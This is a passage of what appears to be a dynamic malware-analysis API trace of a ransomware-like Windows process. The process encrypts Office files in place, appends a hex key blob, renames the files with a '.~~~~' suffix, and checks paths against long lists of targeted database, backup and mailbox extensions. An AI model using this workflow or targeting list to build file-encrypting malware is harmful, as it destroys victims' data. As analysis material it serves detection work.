	[0143.171] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0143.171] CryptReleaseContext (hProv=0x395498, dwFlags=0x0) returned 1
	[0143.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0143.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0143.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0143.172] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26316197684) returned 1
	[0143.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbebee6b0, dwHighDateTime=0x1d60e1e)) 
	[0143.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0143.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0143.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0143.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5578
	[0143.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5578 | out: hHeap=0x300000) returned 1
	[0143.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b09d0
	[0143.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b09d0 | out: hHeap=0x300000) returned 1
	[0143.173] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0143.173] GetLastError () returned 0x0
	[0143.173] GetLastError () returned 0x0
	[0143.173] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0143.173] GetLastError () returned 0x0
	[0143.173] GetLastError () returned 0x0
	[0143.173] ReadFile (in: hFile=0x104, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x997, lpOverlapped=0x0) returned 1
	[0143.175] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffff669, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.175] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x997, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x997, lpOverlapped=0x0) returned 1
	[0143.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0143.175] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.175] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.175] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.175] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.175] CloseHandle (hObject=0x104) returned 1
	[0143.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b09d0
	[0143.176] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir43f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir43f.gif.~~~~")) returned 1
	[0143.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b09d0 | out: hHeap=0x300000) returned 1
	[0143.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0143.178] GetLastError () returned 0x0
	[0143.178] RtlWakeConditionVariable () returned 0x0
	[0143.178] GetCurrentThreadId () returned 0x9cc
	[0143.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".scr") returned 0x0
	[0143.178] lstrlenW (lpString=".cmd") returned 4
	[0143.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".cmd") returned 0x0
	[0143.178] lstrlenW (lpString=".dll") returned 4
	[0143.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".dll") returned 0x0
	[0143.178] lstrlenW (lpString=".bat") returned 4
	[0143.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".bat") returned 0x0
	[0143.179] lstrlenW (lpString=".cpl") returned 4
	[0143.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".cpl") returned 0x0
	[0143.179] lstrlenW (lpString=".sys") returned 4
	[0143.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".sys") returned 0x0
	[0143.179] lstrlenW (lpString=".msc") returned 4
	[0143.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".msc") returned 0x0
	[0143.179] lstrlenW (lpString=".com") returned 4
	[0143.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".com") returned 0x0
	[0143.179] lstrlenW (lpString=".lnk") returned 4
	[0143.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".lnk") returned 0x0
	[0143.179] lstrlenW (lpString=".msp") returned 4
	[0143.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".msp") returned 0x0
	[0143.179] lstrlenW (lpString=".pif") returned 4
	[0143.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".pif") returned 0x0
	[0143.179] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0143.181] lstrlenW (lpString=".sqb") returned 4
	[0143.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".sqb") returned 0x0
	[0143.182] lstrlenW (lpString=".ost") returned 4
	[0143.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".ost") returned 0x0
	[0143.182] lstrlenW (lpString=".txt") returned 4
	[0143.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".txt") returned 0x0
	[0143.182] lstrlenW (lpString=".mdt") returned 4
	[0143.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".mdt") returned 0x0
	[0143.182] lstrlenW (lpString=".BDB") returned 4
	[0143.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".BDB") returned 0x0
	[0143.182] lstrlenW (lpString=".eql") returned 4
	[0143.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".eql") returned 0x0
	[0143.182] lstrlenW (lpString=".DBF") returned 4
	[0143.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".DBF") returned 0x0
	[0143.182] lstrlenW (lpString=".EQL") returned 4
	[0143.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".EQL") returned 0x0
	[0143.182] lstrlenW (lpString=".FDB") returned 4
	[0143.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".FDB") returned 0x0
	[0143.182] lstrlenW (lpString=".EDB") returned 4
	[0143.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".EDB") returned 0x0
	[0143.182] lstrlenW (lpString=".DACPAC") returned 7
	[0143.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.182] lstrlenW (lpString=".VHD") returned 4
	[0143.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".VHD") returned 0x0
	[0143.182] lstrlenW (lpString=".DBV") returned 4
	[0143.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".DBV") returned 0x0
	[0143.182] lstrlenW (lpString=".dacpac") returned 7
	[0143.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".dacpac") returned 0x0
	[0143.182] lstrlenW (lpString=".sdf") returned 4
	[0143.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".sdf") returned 0x0
	[0143.182] lstrlenW (lpString=".accdb") returned 6
	[0143.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".accdb") returned 0x0
	[0143.182] lstrlenW (lpString=".DBX") returned 4
	[0143.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".DBX") returned 0x0
	[0143.182] lstrlenW (lpString=".MDT") returned 4
	[0143.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".MDT") returned 0x0
	[0143.183] lstrlenW (lpString=".SQB") returned 4
	[0143.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".SQB") returned 0x0
	[0143.183] lstrlenW (lpString=".vhd") returned 4
	[0143.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".vhd") returned 0x0
	[0143.183] lstrlenW (lpString=".bac") returned 4
	[0143.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".bac") returned 0x0
	[0143.183] lstrlenW (lpString=".mdf") returned 4
	[0143.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".mdf") returned 0x0
	[0143.183] lstrlenW (lpString=".BAK") returned 4
	[0143.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".BAK") returned 0x0
	[0143.183] lstrlenW (lpString=".BAC") returned 4
	[0143.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".BAC") returned 0x0
	[0143.183] lstrlenW (lpString=".dbs") returned 4
	[0143.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".dbs") returned 0x0
	[0143.183] lstrlenW (lpString=".vhdx") returned 5
	[0143.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".vhdx") returned 0x0
	[0143.183] lstrlenW (lpString=".NDF") returned 4
	[0143.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".NDF") returned 0x0
	[0143.183] lstrlenW (lpString=".dat") returned 4
	[0143.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".dat") returned 0x0
	[0143.183] lstrlenW (lpString=".DBS") returned 4
	[0143.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".DBS") returned 0x0
	[0143.183] lstrlenW (lpString=".CKP") returned 4
	[0143.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".CKP") returned 0x0
	[0143.183] lstrlenW (lpString=".edb") returned 4
	[0143.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".edb") returned 0x0
	[0143.183] lstrlenW (lpString=".PST") returned 4
	[0143.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".PST") returned 0x0
	[0143.183] lstrlenW (lpString=".dbf") returned 4
	[0143.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".dbf") returned 0x0
	[0143.183] lstrlenW (lpString=".SQL") returned 4
	[0143.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".SQL") returned 0x0
	[0143.183] lstrlenW (lpString=".pst") returned 4
	[0143.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".pst") returned 0x0
	[0143.184] lstrlenW (lpString=".dbv") returned 4
	[0143.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".dbv") returned 0x0
	[0143.184] lstrlenW (lpString=".SDF") returned 4
	[0143.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".SDF") returned 0x0
	[0143.184] lstrlenW (lpString=".dtxs") returned 5
	[0143.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".dtxs") returned 0x0
	[0143.184] lstrlenW (lpString=".db3") returned 4
	[0143.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".db3") returned 0x0
	[0143.184] lstrlenW (lpString=".OST") returned 4
	[0143.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".OST") returned 0x0
	[0143.184] lstrlenW (lpString=".dbx") returned 4
	[0143.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".dbx") returned 0x0
	[0143.184] lstrlenW (lpString=".DB3") returned 4
	[0143.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".DB3") returned 0x0
	[0143.184] lstrlenW (lpString=".DAT") returned 4
	[0143.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".DAT") returned 0x0
	[0143.184] lstrlenW (lpString=".VHDX") returned 5
	[0143.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".VHDX") returned 0x0
	[0143.184] lstrlenW (lpString=".ndf") returned 4
	[0143.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".ndf") returned 0x0
	[0143.184] lstrlenW (lpString=".DB") returned 3
	[0143.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".DB") returned 0x0
	[0143.184] lstrlenW (lpString=".sql") returned 4
	[0143.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".sql") returned 0x0
	[0143.184] lstrlenW (lpString=".MYD") returned 4
	[0143.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".MYD") returned 0x0
	[0143.184] lstrlenW (lpString=".DBT") returned 4
	[0143.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".DBT") returned 0x0
	[0143.184] lstrlenW (lpString=".ACCDB") returned 6
	[0143.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.184] lstrlenW (lpString=".fdb") returned 4
	[0143.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".fdb") returned 0x0
	[0143.184] lstrlenW (lpString=".bak") returned 4
	[0143.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".bak") returned 0x0
	[0143.185] lstrlenW (lpString=".myd") returned 4
	[0143.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".myd") returned 0x0
	[0143.185] lstrlenW (lpString=".DTXS") returned 5
	[0143.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".DTXS") returned 0x0
	[0143.185] lstrlenW (lpString=".ckp") returned 4
	[0143.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".ckp") returned 0x0
	[0143.185] lstrlenW (lpString=".dbt") returned 4
	[0143.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".dbt") returned 0x0
	[0143.185] lstrlenW (lpString=".db") returned 3
	[0143.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".db") returned 0x0
	[0143.185] lstrlenW (lpString=".TXT") returned 4
	[0143.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".TXT") returned 0x0
	[0143.185] lstrlenW (lpString=".MDF") returned 4
	[0143.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".MDF") returned 0x0
	[0143.185] lstrlenW (lpString=".bdb") returned 4
	[0143.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".bdb") returned 0x0
	[0143.185] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0143.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0143.185] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x395498) returned 1
	[0143.186] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0143.186] CryptReleaseContext (hProv=0x395498, dwFlags=0x0) returned 1
	[0143.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0143.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0143.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0143.186] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26317660233) returned 1
	[0143.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbec14810, dwHighDateTime=0x1d60e1e)) 
	[0143.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0143.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0143.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0143.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e54d0
	[0143.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e54d0 | out: hHeap=0x300000) returned 1
	[0143.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b09d0
	[0143.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b09d0 | out: hHeap=0x300000) returned 1
	[0143.187] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0143.187] GetLastError () returned 0x0
	[0143.188] GetLastError () returned 0x0
	[0143.188] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0143.188] GetLastError () returned 0x0
	[0143.188] GetLastError () returned 0x0
	[0143.188] ReadFile (in: hFile=0x104, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x141c, lpOverlapped=0x0) returned 1
	[0143.192] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffebe4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.192] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x141c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x141c, lpOverlapped=0x0) returned 1
	[0143.193] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0143.193] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.193] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
